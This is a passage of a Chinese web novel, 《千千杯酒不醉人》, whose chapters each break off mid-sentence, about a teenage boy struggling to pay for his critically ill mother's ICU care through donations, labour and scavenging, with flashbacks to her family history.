《千千杯酒不醉人》 1. 悲独 一 《千千杯酒不醉人》全本免费阅读 悲独 一 “妈!妈!” 林载轩使劲儿地喊着躺在抢救病床上的母亲,边喘着粗气和右侧两个戴着白口罩的护士拉着抢救病床往ICU病房推去。这是这个月第二次进ICU进行抢救后的特别护理了。 妈妈被送进去后,载轩无力地靠着墙边蹲了下去,他有些苍白的两颊此刻因急切和用力过度有些发红,额上尽是细细密密的汗,一头略带些发黄的早就长得遮住眉毛的头发被他用手粗乱地捋了几下,几缕被汗水浸湿了的头发撩到了头顶,还有几缕却无声息低垂着。他还在兀自喘着气,发白的嘴唇随着喘息声颤颤的。身上一件长袖T恤衫,瘦楞楞的锁骨已从领边露了出来,袖口脏脏的,胸前也蹭上了几道黄黄的碘伏液体及其他污渍。左边的裤兜里鼓鼓的,装着妈妈的诺基亚手机和家门钥匙、自行车钥匙,裤腿却挽了起来,左边的挽得高一些,露出一节青白的小腿和已经脏污的袜筒来,右边的却像刚打了水仗回来似的漫不经心挽了个边。这可不像林载轩。 以前载轩最喜欢干净了,是属于十四岁少年独有的干净清爽。打完篮球必须要回家立刻洗了澡才坐沙发上床,白T恤有一个污点便脱了下来交给妈妈去洗,手指甲永远都是刚刚剪好的样子,齐齐整整,更别提指甲缝里干净得苍蝇都不会去招惹一下。 妈妈以前很宠载轩,总叫他“囝仔”,妈妈的老家在陕西,但他想,怎么也不该用这么老土的小名来唤他,叫他小轩多好。但他真的闯了祸、犯了大错,妈妈会板下脸来,生冷地叫他:“小轩,你来一下。” 就拿那次他和杜明在荥水嘉园社区打篮球把人家晾在窗台上的豆角丝打翻,人家不依不饶,饶是要报警说他们几个男娃吓着了家中正在窗台晒豆角丝的老太太时,妈妈和杜明的父母亲跟人家道了好半天歉,还给被吓着的老太买了果篮牛奶等礼品,才消停一点。当晚,妈妈冷着脸,疲疲沓沓地坐到沙发上去,他就听到了这样生冷的呼唤,他熄了卧室的灯蹭着步子,小心翼翼地挪到坐在沙发上生气的妈妈旁边,用手轻轻地拉妈妈的衣袖,再讨好似的歪着脑袋问妈妈:“解决啦?”妈妈冒着怒火的眼神刀着他,他有些难为情起来。 要不是他跳起来从杜明手里抢过球,俩人用力撞了下,球才不会飞出那么老远。当时杜明提议赶紧从绿化带里抱球跑掉,反正等那户人家反应过来追他们时,他们几个年轻胳膊腿早跑出荥水嘉园了。是他说的,这样做不对,先是捡起已经打翻了不少落在地上的豆角丝,然后用衣服兜着跑到二楼那户人 2. 悲独 二 《千千杯酒不醉人》全本免费阅读 载轩摸到了右边裤兜里的住院缴费清单,是刚刚住院医师宋大夫做完大抢救后塞在他手里的。 近一个多月来的窘迫,让已熟识他们母子俩的大夫护士都不敢单独找他说什么了。上个月16号妈妈因尿毒症合并肝衰竭、肺衰竭抢救后进了ICU,要交押金两万块,载轩急得猴儿似的,家里积蓄用得差不多了,他把自己从小到大没有打开过的存钱罐砸碎了,数完过后只有四百八十六块四毛钱。班里早在他妈妈第二次住院的时候就组织过捐款了,后来学校还专为他组织过一次学校捐款,总共五千多块,可是那些钱一进了医院的账户,流水一样,没几天的功夫便又催来了缴费清单。何老师来医院探望临走时,把载轩叫到门外,把手伸到裤兜里,掏出一千块钱重重地握在载轩手里,还嘱咐他:“你也得把自己 照顾好啊!”载轩握着钱,眼睛酸酸的。那还是上个月初的事。 上个月妈妈的情况时好时坏,大多数的情况都在昏睡,手上、胳膊上插的管子里白天黑夜都淌着红红黄黄、透明的液体,输液袋上写着蒙诺、碳酸镧制剂、碳酸氢钠注射液等载轩不甚明了的字体,可在载轩心里,每个字都是能治妈妈的天使,也是令载轩苦恼的要命的金币。每周还要做三次血液透析,妈妈身体太过虚弱,下不了地,只好请血液科的人推着仪器来,要比去门诊费用再多加百分之二十。 现在可怎么办呢?身上是一分钱也拿不出来了。他想到了杜明。 杜明是他最好的朋友。 从上学前班起就成了好朋友。以前,他们都住在光明小学边上的光明路熙苑小区三号楼,载轩家在一单元302,杜明家在二单元301,隔着一堵墙,载轩能听得到杜明家传出的吵架声、欢笑声,更多的是杜明妈妈谭阿姨对杜明的训斥声,杜明能听得到载轩每晚的弹琴声,大多数载轩家里安静得多。谭阿姨是一位社区医生,离单位有段距离,杜叔叔原本买在熙苑小区是为了结婚。90年代那会儿熙苑小区可算是高档的住宅楼了,哗啦啦地起了25栋六层高的楼房,占地面积大,楼间距也大,房子采光好格局好,街对面走几步就到了光明小学,不少有钱人、小夫妻选择在这里定居。可过去了十来年,这儿的房子不新了,又是步梯房,周围的平房都拆掉盖起了新式高层住宅,把个熙苑小区团团围住,跟困兽一样施展不了原来的光彩和荣耀。所以去年六月份杜明家便搬到了离谭阿姨工作的北水街道社区服务中心更近的,也离杜明上的荥州市第一中学更近的,更为高档的荥荣华府小区了。载轩只在去年六月,杜明他们搬家时去过一趟,当时买了鲜花、订了蛋糕祝贺杜明他们。 林载轩出了医院,六月的骄阳就已热喇喇的了,炽热的白光晃得他眼睛发痛,他昨晚几乎一夜未睡,守着妈妈。妈妈昨夜又和上个月15号那晚一样,突然间呼吸急促了起来,喉咙发出几声嘎嘎地异响,双手痉挛,灰白的脸上现出十分痛苦的样子来,载轩本来还有些睡意,白天干了一天活,筋骨酸麻,可一听到妈妈的动静便腾地起来。一看见妈妈唬人的样子,急急叫来护士和值班大夫,恰好宋医生也在。宋医生是王主任团队里一员,专门负责住院的林芳清等危重病人。经过二十多分钟的抢救,妈妈状态好了许多,可是人却又昏迷了。早上宋医生和王主任他们商量,还是得进ICU进行特别护理。但费用的事也令他们为难。按理说科室医疗欠费额度为五万元,超过这个数就要从科室里大夫护士的工资奖金里扣除了,林芳清第二次住院以来住院押金就没有交齐过,上个月在ICU里住了九天,还差三万八千多没有缴清,加上这个月欠下的,也快五万了。林载轩的情况众人有目共睹,孩子早不去上学了,拼了命地打短工、捡废品挣钱,这些天来连正常的饭都吃不上一顿。医院也考虑到他们家的情况,给申请了特困人员资助,甚至还减免了他晚上的陪床费用。一天陪床费是四元,陪床椅租赁是十元,省下这十四元,载轩还能够吃好几天的馒头。所以到了夜里,载轩就在妈妈病床旁边的地上铺一块小毯子,从家里拿了一床小时候盖的小被,蜷缩着睡会儿。可这些对她妈妈的治疗费用而言还是杯水车薪。医生们正在办公室里面面相觑,他妈妈的呼吸又重了起来,心率也升到130,载轩跑进办公室叫来了王主任他们,王主任扳开他妈妈的眼睛看了看,用手探了探下腹部,顿了一顿才说:“怕是有腹水了,进ICU吧。”其他人也都面色沉重,载轩知道恐怕情况不好,便紧着和护士拉来抢救病床把妈妈抬上去,推了就走,一路他还喊了好几回着:“妈!妈!”想说的话太多,可······ 昨晚没有怎么睡,林载轩骑上自行车也有些脚软乏力,更何况他这些日子有一顿没一顿的,连馒头也舍不得吃了,最近的一餐还是昨天中午在荥水南岸的工地上免费领的盒饭。这几日他在工地上背沙子,是小区里一位邻居大叔,包了市政荥水南岸的挖沙工程,他堵在人家门前求了好久得来的活。现在他得往荥水南岸赶去。两旁的绿树荫不断在倒退,退着退着,载轩的眼睛里就没了绿树、车流、行人和鳞次栉比的高楼大厦了,现在他的眼里只有妈妈,挣钱救妈妈是他唯一能做、唯一想做的事。 背沙子可是力气活,他身高也不过才一米六,把四五十斤的沙袋抗在瘦棱棱的肩膀上,腰都直不起,每迈一步都是费力,一开始还好,后来就得走走停停歇歇脚。别人都抗两三袋,他背不动,也只好比别人少要一些工钱。管划沙的工头湖南人老范,看见载轩那样走两步停一停就来气,嘴里不干不净地撇出好些话来:“哪儿来的嫩娃娃,没断奶嘞哇,都他娘的使出吃奶劲儿啊······不行撂倒,滚一边去······快点儿啊,他娘的狗腿都比你倒腾快嘞,你绣花嘞······”载轩顾不上这些,汗流到眼睛里他都没工夫擦一下,胳膊抬起胡抹一下就算。中午吃饭休息时,他狼吞虎咽般将盒饭一扫而空,一粒米都不放过。他还要赶着这个把小时里去趟杜明家。 到了荥荣华府小区,把车子锁在门外,载轩已是热得一头汗,加上脖子里的泥灰,样子大概是狼狈极了。但中午这会儿谭阿姨在,杜明也在,应该是在吃午饭。他一般不想碰见杜叔叔,杜叔叔是市公安局刑侦支队的警察,而且杜叔叔爸爸和兄弟也都在公安系统,他莫名地害怕这些穿制服的人。再者杜叔叔很严肃,很少笑。以前小的时候妈妈晚上出去工作,常到九点十点才回来,便把他寄在杜明家,他见了杜叔叔尴尬地苦笑,杜叔叔却在看一份报纸,头都没有抬一下。从那回以后他就算很害怕一个人在家,也说什么不去杜明家呆着了。 按了9楼的电梯,等电梯的空档,下来一位穿着真丝衬衣、白裤子、低跟皮凉鞋的老太太,老太太边扇着一把古香古色的纺绸扇子边睨了林载轩一眼,还特意往靠墙那边走。载轩知道他已经两周没有洗过澡,身上的汗酸自己闻着都作呕。 叮铃,叮铃。 “小轩啊,”谭阿姨肯定还在吃饭呢,嘴里边嚼边打开了门,看见林载轩低着头站在门外,往里让了让,“进来坐。” “杜明,赶紧吃,快一点了,还磨蹭呢。小轩吃了吗?坐下再吃点。” “不用······呃,我吃过了。”杜明进来带上门,但没往里走,站在门口地垫上,踟蹰着。 他知道谭阿姨和杜明已经帮了他许多,他不该再来打搅的。妈妈查出尿毒症的时候,谭阿姨利用自己的人脉,帮着妈妈找了市里二医院最好的专家,后来去透析好几次都是谭阿姨陪着提前给排好号,明里暗里不知道给妈妈塞过多少钱。今年三月份妈妈第一次住院,谭阿姨第一回给拿了两千,第二次和杜明一起给的,又拿了两千。上个月妈妈进ICU,谭阿姨听说后赶来医院和主治大夫王主任谈了好半天,出来的时候眼眶红红的,什么也没说,又是两千塞在载轩手里。自己与人家非亲非故,帮了这许多,还三番五次来找,自己也觉着没意思。可他在这座城里,现在能指得上的也就是他们了。 “阿姨,我······我妈又进ICU了。”载轩还是开了口,今天就是为这事来的,不张嘴难道等着人家来问吗? “小轩啊,那天晚上我和你说的也很清楚。你应该有个思想准备了。”阿姨收拾着碗筷,往厨房里去,杜明跟在身后也去了厨房。 杜明的新家确实比以前好得多,客厅大落地窗,一排五人座沙发又大又气派,靠背堆着黑丝绒桃心图案的大靠枕,餐厅里一米二的红木餐桌上放着一束喷着晚香的粉玫瑰。中午晒进来的阳光透过掺着金纱丝线的白纱帘,落到白色瓷砖面上一闪一闪的,载轩有些羡慕。 上个月妈妈住进ICU的第三天,载轩在学校门口截住了杜明。哪知那天是其中考完试的家长会,杜明先出来的,他把自己前段时间攒的零花钱和几个小伙伴捡饮料瓶卖掉的钱,偷偷地装在一个信封里,等着见了林载轩,悄悄给他去救急。正好被开完家长会的谭阿姨和杜叔叔看见,他们刚因为杜明成绩的问题吵过,显然两人气色都不大好。杜叔叔用手敲了一下杜明的脑袋,恨恨地说:“野吧!天天不慕学习,不知道成天想些什么玩意。”载轩楞在那儿,信封接也不是不接也不是。谭阿姨随后语气冷冷地盯着载轩开了口:“小轩,你妈妈的情况王主任应该告诉过你了,这个病凶险得很,原本只有换肾才行,现在已经到了换肾可能都没办法的时候。你就算不考虑自己,杜明也被你三天两天这样呼来喝去的弄得心不在焉。他成天想着怎么帮你搞到钱,怎么安心学习啊?再者你们都些小孩子,难道要去骗要去抢吗?我看倒是也快了。” 一连串的话,载轩听进去了也没听进去。他知道,杜明这些日子就算他不去找,也是伙同几个要好的伙伴去帮他弄钱,有时趁着大课间活动旷课,有时是晚上放了学以后骗大人说是去补课。可几个孩子能有什么办法呢,无非是把自己不用的书、玩具卖掉,或者也学捡废品的老头老太去捡瓶子。一开始王晓东和周阳还蛮热心的 3. 悲独 三 《千千杯酒不醉人》全本免费阅读 林载轩晚上回到医院,今天不用睡在地下了。妈妈在ICU,这一块有专门的供家属休息的长椅。他回到原来肾内科的病房里整理了下妈妈的东西,水杯、脸盆、暖壶、拖鞋和他睡觉用的小毯小被,统统装在两个大塑料袋里,带到了ICU院区。 他拿着脸盆到开水间接了热水,又回到卫生间,脱了上衣,用毛巾沾水清洗起来。手掌擦破的地方湿了水更疼了,肩胛处因为沙子袋的摩擦也有些发红。他看见镜子里的自己,竟有些陌生。 原来他是个清清秀秀的男孩子,从小懂事听话。妈妈在他出生前是一所小学的音乐老师,从河南师范学院毕业后分到那儿工作,后来因家中变故,就辞了职。他的姥爷去世后,妈妈就再没回过老家,一直呆在荥州这个地方做家庭音乐教师,妈妈长相讨喜,一直颇受几家教育机构的欢迎,也有一些长期聘请妈妈做私教的老客户,尽管是一个人带孩子,经济上也倒还可以。妈妈性格也好,所以在载轩的教育问题上从来不会大喊大叫、苛刻责备,在载轩印象里妈妈总是和风细雨地告诉他:这不可以,这样不对,应该这样做。这也养成了载轩的好性格,他总是很安静温和,对待别人有礼貌,学习上进。从小到大,他都很受老师喜欢,算是别人口中的“别人家孩子”吧。可是又因为妈妈时常在周末、工作日的晚上出去教课,他休息的时候妈妈又甚少陪伴,当然没有父亲也是很大一个因素,载轩总显得别人成熟克制,很会照顾别人情绪。 他委屈吗?大概会的,他看着卫生间里被水渍长久溅落而不那么清晰明亮的镜子中的自己,陌生的难过。这几个月来吃不好睡不好,奔波往返,像个大人一样筹钱求人,让他心力交瘁,以前有妈妈照顾着,竟是那般幸福;眼下的自己,瘦得肋骨条根根分明,两颊都瘦削下去,眼窝深陷,眼睛显得更大更空了,一点往日的活泼神采都没有。 晚上躺在长椅上,虽说比睡地上好一些,可是周遭的环境可没以往安静。等候在ICU病房外的都是危急重病人,外面的家属有的踱步焦灼,有的为芝麻小事吵得不可开交,有的不住叹气······他第一夜守在ICU病房外的时候几乎一夜不曾睡着,他亲眼看着跟妈妈差不多时间被送进去的病人被盖着白布推出病房,家属瘫坐在地上痛哭;也看见有个家属因为老婆生孩子大出血不得已住进ICU,却朝大夫护士大骂不绝,要求只保小不保大。一晚上惊心动魄的,这一回载轩有了经验,捂上耳朵睡吧。 可也睡不着,载轩知道,住进ICU,即便是科室主任为特困人员申请扶助,押金也不可少于2000,低于这个数药房就自动停药了。上一次ICU的费用是肾内科向财务科担保了科室欠费额度,这一次恐怕不行了。 他又想到了卖血。 第二天一早他向工头老范预支工钱,老范抽着烟,喷出几个辛辣的烟后,告诉他,谁介绍他来的去找谁。随后便理都不理杵在一旁的林载轩了。幸亏上次他求王叔的时候留了个心眼,记下了他的手机号,此刻先打个电话试试吧。电话响了几声后,一个浑厚的男音问:“你谁?”载轩好容易把话说清楚,那边有半分钟没有吱声,然后才低沉地说:“你叫老范接电话。” 载轩有些听不懂他们说的,王叔和老范是同乡,此刻说的湖南话叽里呱啦,对于载轩是外国文,可他也仿佛听出,老范再向王叔抱怨,载轩出工不出力,一天背的沙袋是别的小工三分之一,万一出什么事,现在都查得严,谁都吃不了兜着走。王叔是个精明人,全国好多地方的工地都去过,最后娶了个荥州老婆,就定居在这了。老范是王叔从湖南带出来的老工头了,知道老范的提醒有道理。再说了些什么,载轩听不出来了。 只见老范挂了电话,把手机递给载轩,坐下慢悠悠地从上衣内口袋里拿出一摞钱来,数出五百元放在桌上,又抽出一张五十元也放上去。 “娃仔,你知道的,我们这工程是给市政府干哩,成天这个检查那个巡视,万一,万一看见你个小娃仔在这里背沙,说我们用童工哩。我们咋个办?你王叔咋弄?不光你可怜见哩,这么多人都要吃饭养家哩。”老范又点上了一支烟,“娃仔,你再想想别的办法嘞。这几天你也辛苦,工钱没给你比别人少,这是你王叔的意思。这五十块你拿去中午吃饭,以后不要来哩。” 今天的太阳也很足呢。载轩拿了钱,知道这是什么意思,他回了北水街。 上次妈妈在ICU的时候他跟着北水街的一个拾荒大爷捡废纸、捡瓶子。起初这个大爷对他的行为很不满,还用垃圾夹夹过他的手。可是后来他跟着去拾荒大爷住的小屋才知道,大爷捡了一个四岁多的唐氏儿,那孩子很安静地坐在婴儿车里,脑袋明显比同龄孩子大得多,而且不自觉地像弹簧一样左右摇摆着。那小屋是周围楼建废弃的工人宿舍,现在城管把他安置在公共厕所旁,帮着免费安了窗户和门,一个十平米见方的窝巢算是这个老人和孩子的栖息所。他把一天捡来的废瓶子给了大爷,大爷把它们都堆在小屋的一角,城管不允许大爷把废品堆在外面,不然就要收去他的房子。然后他给大爷讲了自己的故事。大爷听完没说啥,自顾自地拿捡来的菜叶、萝卜头开始做饭。载轩看见大爷撸起的胳膊上好像有扎完针的止血胶带,便问大爷:“您病了吗?” 大爷好半天才告诉他,婴儿车里的小孩最近老吐,大爷带他去看病,医生说要吃一种药,一盒四百块。大爷去黑诊所卖了血才买了药。 载轩接着问:“黑诊所在哪儿?” 大爷起初迟疑着,后来指给他,“顺着北水街往西走,过了第一个路口右拐,再沿着巷子走到头就到了。”又强调,“别和人说我告给你的。” 载轩像得了宝贝似的,循着大爷指给的方向找去。果然巷子尾有个牌子写着“李氏中医理疗”几个大字。 载轩回到家,换了件干净衣裳,也学着拾荒大爷,从早市 4. 悲独 四 《千千杯酒不醉人》全本免费阅读 四 载轩无功而返,拖着疲沓的脚步,回到自己那个空空的乱得一团糟的家里。 上次他忙着找家里值钱的东西,把些能卖的都卖了,翻得家里乱糟糟的,衣服鞋子杂物堆放在地上也没空收拾。他一进门,看见毫无生气的一堆堆,眼泪就再也止不住了。他蹲下去,无助地抱着双肩,随着抽噎身子颤动着,长久以来压抑着的情绪如洪水决堤般涌了出来,他不知道为什么自己跟别人不一样,从小只能跟妈妈相依为命,也不知道那么漂亮文静的妈妈为什么会患上这样难治的病,更不知道眼下怎么办。他更不敢想的是以后,谭阿姨和杜明都提醒过他,得想想以后了。可是,妈妈要是去了,他怎么办呢,剩他一个怎么活下去呢,去讨饭吗,还要不要上学,他想上学,可是谁来供他呢······他越哭越难过。先不说以后,现在怎么办,工地去不了了,王叔的意思再明显不过,那几天纯粹是看他可怜罢了,想长久做工,人家那儿也不是福利机构。再没有能换来钱的值钱东西了。可手里只有五百五十块,怕是只够一天,或者一天都不够。 对,自行车。 林载轩想到了陪伴了他一年半的那辆美瑞达山地自行车。 他小学就在最近的光明小学上的,如果按片区划分,初中他只能就读隔了一条街的荥州第九中学,可那学校的风评可一般。载轩妈妈和杜明妈妈一商量,还得花钱找个好学校,尤其这俩孩子成绩都挺好。杜叔叔一家子都在公安系统,认识的人不少。打听了一下去荥州一中要六万。杜明一家商量完,不如在就近的荥荣华府买房子更划算一点。那会儿荥荣华府小区的售楼部离得谭阿姨工作的地方很近,谭阿姨去看了好几回,虽说是期房,可开发商拍着胸脯保证,当年买当年住,孩子当年就学。房子卖得很贵,要四千块一平米,选个好楼层就更贵了,但也是学区房,抢手的很。谭阿姨和杜叔叔俩人准备交钱订定房那天,人爆满,挤得售楼部里熙熙攘攘、人声鼎沸,谭阿姨在模型区原本看上的是6号楼的一个九层一百多米的户型,正和杜叔叔商量的区间,只见售楼部小姐拿着一面一指长的红色三角旗插到了这个看重的房屋窗户里,意思是已有人交钱锁定。谭阿姨急得脸通红,同一个单元的一会儿工夫被人拿下的差不多,就只剩下一二三层和顶楼可选择。谭阿姨也不顾杜叔叔了,急急忙忙拉住一位售楼顾问说要了旁边单元同一户型的东户六楼,再慢一点怕是又被人抢走了。签字交钱,领着去抽奖砸金蛋,一气呵成,杜明的上学问题也就解决了。谭阿姨也和林芳清去售楼部看过,林芳清也觉得不错,以后初中高中说不定都在一中念,省了好多事。可是林芳清没有杜明家两个人挣得多,还有老人补贴,虽说有些积蓄,可是再去购置一套新房,就显得捉襟见肘了。还得再还二十多年的贷款,生活水平下降得多了。就算卖掉现在住的房子,再买一套也还是不够,装修钱也得一大笔。林芳清想想算了。 后来林芳清教的一个学生的舅爷是教育局的领导,林芳清拜请这位学生家长花了五万元也进了荥州一中。 可他们现在住的熙苑小区,离荥州一中有差不多八公里远,坐公交车大概要四十分钟,太不方便了。 载轩无意中听到妈妈跟人打电话要花钱择校的事,曾经搂着妈妈的胳膊说:“妈,干嘛要花那个钱啊,我去九中也一样啊,离得又近,中午还可以吃到你做的饭菜。你好辛苦的。”载轩的撒娇和懂事让妈妈很受用,她便摸着载轩的脑袋,宠溺地说:“囝仔啊,妈妈知道你会好好学,可是保不齐九中那些坏孩子来影响你。去了一中,有杜明和你作伴,我更放心啊。” 妈妈周末带着载轩去美瑞达自行车专卖店,挑选了一辆近两千块的自行车。妈妈记得,有次晚上母子俩去附近的丛山公园散步时,看见王晓东骑着他爸的那辆美瑞达山地自行车在健步道上飞驰而过,载轩眼里很是羡慕。可是平时载轩上学离得近,用不着买车子,妈妈以前提议要买时,载轩还反驳妈妈:“买来那么好一辆车子,放在楼下搁灰吗?”现在有了正当理由,载轩来回摸着那辆红色的山地自行车,说不出的喜欢。他骑车不太熟,还是小时候学会了,好几年都没有再骑过,歪歪扭扭地一路骑一路笑,春风得意。 从那以后,这辆自行车就是载轩上下学路上的伙伴,一开始和杜明俩人一人一辆赛着骑,后来杜明搬家,就剩他一人边骑边欣赏风景。秋天里的金黄的落叶,骑上去咯吱咯吱响;大风天的飘扬的围巾,给骑车人添一份潇洒;寒冬里地下的冰棱雪泥,陡然又多了点惊险······今年的初春,还没得及赏树赏花,妈妈便一病不起了。 那是初二下学期刚开学第三周。载轩平时中午不回家吃饭,离得家远,免得把时间都耽误在路上,他去高中食堂吃过饭回教室里眯一会儿,紧着把晚上的作业写一写,晚上回了家还可以练练琴、看看书、背英语。可是那天快到中午放学时,他的心突突的,很不安稳,老感觉要有什么事发生似的。去食堂打饭时,发现饭卡没有带,掏出的却是妈妈的地铁乘车卡。他想,现在晚上放学晚,妈妈晚上去教课,有时候把饭做好了放在保温盒里就走了,万一妈妈找不到地铁卡怎么办。于是他就骑着自行车飞快地疾驰回家,拿着钥匙打开门,却不见妈妈身影。喊了几声也没回应,他想该不会今天妈妈去透析还没有回来吧。 妈妈是载轩上初中前确诊尿毒症的。起初,妈妈因急性肾炎也住过一回院,输了三天液就回家了。在载轩印象里,妈妈身体很好,小时候载轩老感冒打针,可也没见把妈妈传染了。只是妈妈一直很文静,不爱运动。跟着载轩跑步,没多久就累了,坐在长椅上喘气。 因为载轩要上初中了,这件事还瞒着他不许他知道,只告诉他是肾炎而已,去医院也不要载轩陪,说:“那种地方你一个小孩子去,小心又传染你感冒。”载轩很怕打针输液,而且妈妈告诉他,只是去复查,没有别的事,载轩也就不跟了。现在想想,载轩很后悔,要是一开始就陪着妈妈,就能多陪陪妈妈了。可时间长了,载轩就发现不对劲了。妈妈总是往医院跑,脸色还不像原来那样白白的,发黄发暗,两颧上长了一些斑点,用粉底都很难遮掉。妈妈总会累,洗完衣服累,做完饭累,教完课回家后窝在沙发上好半天才起来。妈妈身上还有一些若有若无的怪味道。妈妈那么爱干净,怎么允许自己有味道呢?妈妈的药盒怎么藏起来,不放在客厅茶几上呢?而且妈妈和谭阿姨的电话聊天怎么也遮遮掩掩的,不许他听了呢? 载轩开始自己去图书馆根据知道的蛛丝马迹查资料找医书。 后来载轩把知道的和妈妈说了,妈妈也直言,自己患了病,很难治,但妈妈很坦然。把话跟载轩说得明明白白,“妈妈这个病只有换肾才能治好,而且要终身吃药。现在在做血液透析,可是万一恶化了,你不要想着把肾给我。”几句话,载轩已经泣不成声,妈妈坚持着把话说透说完,“囝仔,妈妈其实以前割过一个肾给你姥爷,但你姥爷没有留住,而且走得很痛苦。如果妈妈不能看着你成家立业,你也不要遗憾,我带你来这世上,是妈妈做的很错的一个决定,让你受苦了。如果真到了那一步,不要插管。你别管我,好好活下去。”妈妈最后几句,载轩已听不下去,趴在妈妈脚边,抱着妈妈的腿,把眼泪鼻涕糊得妈妈一睡裤,妈妈用手摩挲着载轩,也很心痛的样子。 后来载轩骑着车子四处给妈妈找偏方,寻名医,这辆车子也加快了他孝心的步伐。 这辆车他一直擦拭得干干净净, 5. 悲独 五 《千千杯酒不醉人》全本免费阅读 五 晚上,林载轩躺在长椅上,用小被子把自己裹紧,怎么也睡不着。 妈妈是他这学期开学后第三周被送进医院的。那天中午他拿错饭卡,错把妈妈的地铁卡拿到学校,回了家却发现没有妈妈的身影。厨房里也没有饭菜,便想着煮袋方便面解决中午饭。谁承想,去看洗手间的门时,发现门后有东西挡着。挤开一条缝才看到晕倒在地上的妈妈。 急救车拉着他和妈妈,妈妈和他仿佛从那时起就成了各自孤独的星球,公转也自转,却再少有依偎呢喃的时候。第一次住院,妈妈已经无法自主大小便了,腹部开了口子,做了造瘘,排尿需要插尿管。载轩请了长假,日夜陪护在妈妈身边,小心地温柔地像妈妈照顾他那样照顾着妈妈。 妈妈的脸因痛苦开始变得不那么好看,五官仿佛都扭曲了一样,眉毛稀疏惨淡,眼睛无神空洞,成天大口呼吸着,嘴巴好像一个深深的洞穴,吸干了妈妈的精气和敏慧。 载轩很心疼,一个人躲在消防通道里流眼泪,他想:如果病的是自己该多好,如果妈妈没有把肾割给那个自己没见过几面的姥爷就不是现在这个样子了。真希望老天给他一个奇迹! 可是大夫的话,戳穿了载轩的想象,妈妈得换肾。 载轩去做了配型。 不匹配。 载轩问大夫有没有办法,王主任摇摇头,只能等。 桃花开的时候,载轩推着轮椅上的妈妈回了家。那天晚上,载轩学着食谱,给妈妈做了好几个菜,妈妈像失去了味觉似的。明明不入口的饭菜,妈妈却吃得很开心,很有食欲的样子。 洗碗时,载轩看着轮椅上无力自主站立的妈妈,眼泪和着水流一齐成旋涡状下了下水道。 妈妈饭后又一次和载轩深谈。 林芳清甚少提前过往,连载轩爸爸的事也没怎么谈起过,不仅是对载轩,和最要好的谭阿姨也是一样。妈妈在这个城市里没有多少好友,平时忙于工作和照顾载轩,妈妈把很多心里话都藏着,偶尔在练琴时、写学员教授记录时,做完家务后,会坐在窗边一个人发呆想心事。 载轩很小的时候就很懂事,林芳清在载轩三岁前没有上班,一直带着他。和楼下的阿姨们叙话聊天,总会夸他是天使宝宝。月子里的载轩就会笑了,别人饿了是大哭大闹,他会先冲妈妈甜甜地一笑,再委屈地皱眉开始酝酿眼泪,往往不等他哭起来,妈妈的□□就已塞在了他嘴里,吃完便心满意足地睡觉,好让妈妈也休息。林芳清的月子都是自己在照顾自己,没见家人来。 后来载轩大了,也就有点不解,自己和别的小孩有些不一样。他们都有爸爸,载轩没有,也没见任何男性朋友与林芳清交往。他问过,妈妈总会讲一颗星星落下来的故事: 一颗星,在天上闪闪烁烁地挂着,周围是它的家人,他们一起开心地生活着。可是总有一天,这颗星会落下来,可能是因为太老了失去了亮度,可能是因为别的星占领了它的位置,也可能是它太重了天空背不动了,还可能是它受到了伤害死去了。无论星落到哪里,它周围的星还在闪烁,还记得它也曾经闪烁过。每一颗星都会坠落,到一个归宿里成全自己的一生。 妈妈在故事里提到的“死”字让载轩懵懵懂懂,他还问:“我的爸爸呢?他也是星吗?” 林芳清怅然地说,是的,他也是一颗星,但他落下去了。 载轩见妈妈并不很愿意提起父亲,他便不提了。有时候看着天上的星,就想:有一颗星曾经在上面,现在不在了;有一个爸爸,原来在他们身边,现在不在了。 林芳清这次和孩子谈的,也是关于死的话题。她说,她这颗星怕是要落下去了,到她的归宿里成全自己了。但她很不放心载轩,要载轩好好活下去。 载轩哭着说:“妈,我也要你活下去。能治好的,王主任说,只要有肾源就可以做手术了。” 林芳清摩挲着孩子的头,开始讲她爸爸的故事: 林芳清出生在陕西安南县的一个普普通通的人家里,正赶上计划生育打得严,她爸爸林大安生了她之后好几年没敢再生。可是见周围的人家左一个儿子右一个儿子眼红得很,在林芳清十岁时偷偷地又要了一个,天随人愿,是个儿子。但林大安对儿子女儿一样的好,供着林芳清一直读到师范。林芳清也争气,长得条顺盘正,不少人家在她初中毕业时候就上门求亲。但林大安这么多年来做苦力、搬砖溜瓦,知道如果让孩子还留在这块贫瘠的土地上,那么大差不差,以后日子也就是这样。所以报考时让林芳清选了水土肥美的黄河沿岸的河南师范学院,在林大安的认知里,只有老师和医生才是铁饭碗,才能让林芳清过上好日子。 但就在林芳清大二时,家中出了变故。一个冬天夜里,林大安和妻子、儿子烧了火炕,点了炉子安睡的时候一氧化碳中毒了。他们住的三间平房还是林大安结婚时候盖的,通常为了省炭火,冬天里一家人就挤在一张炕上。以往都没有这样的事发生,可是那天······林大安在一阵迷迷糊糊的喧闹声中醒来的,醒来后头晕目眩,脑袋沉重,一睁眼看周围白花花的一片,他的兄弟林二安还有姐妹亲戚都围在他身边。原来那天夜里北风呼啸,林大安怕儿子睡得冷,半夜下地又用火镰拨了拨炉子,好让火燃得旺一些,然后盖上了炉盖。十来平米的屋子里本就躺了三个人,再加上里屋门也被风吹上了,悲剧就发生了。妻子和儿子都没有救过来。 林大安自那以后开始酗酒,而且脾气坏得很,林芳清一回家,就要忍受父亲那絮絮叨叨、满脸凄怆的哭诉来,父亲边喝酒边说,骂到自己的时候就扇自己耳光、砸东西。林二安倒是来劝过几回,看着一天天地不成样子,也懒得管。 林芳清毕业后因户口迁到了学校,就地分配到了荥州市市立小学任教。本来好好的,可他爸林大安查出了尿毒症。 再后来,林芳清回老家照顾了林大安几个月,把能治的手段用尽了。林芳清也犹豫过要不要换肾给自己的父亲,可被自己的亲二叔指着鼻子骂:“不要脸的东西,没有你爸爸哪来你这个狗东西,有了钱就不管你爸爸死活了。亏你爸爸还把你当宝似的,要我就溺死在马桶里,也用不着现在指你。”林二安在父亲患病头几年热紧得很,威胁着林芳清要了好多钱,自己爸爸喝得头脑失智,什么也说不清楚,那些钱有没有用在父亲身上,林芳清也不好说什么。 到了父亲患病第七年的时候,林芳清割了一个肾给林大安,可林大安却死于手术后的排异反应。林芳清清楚地记得,林大安死前的恐怖样子:脸部歪曲灰白,嘴角流涎,双眼无助地乞求着。林二安要求给父亲插管,之后林大安被切了胸,但命还是没有救过来。 就在林芳清还躺在床上输液的时候,林二安就骂骂咧 6. 悲独 六 《千千杯酒不醉人》全本免费阅读 六 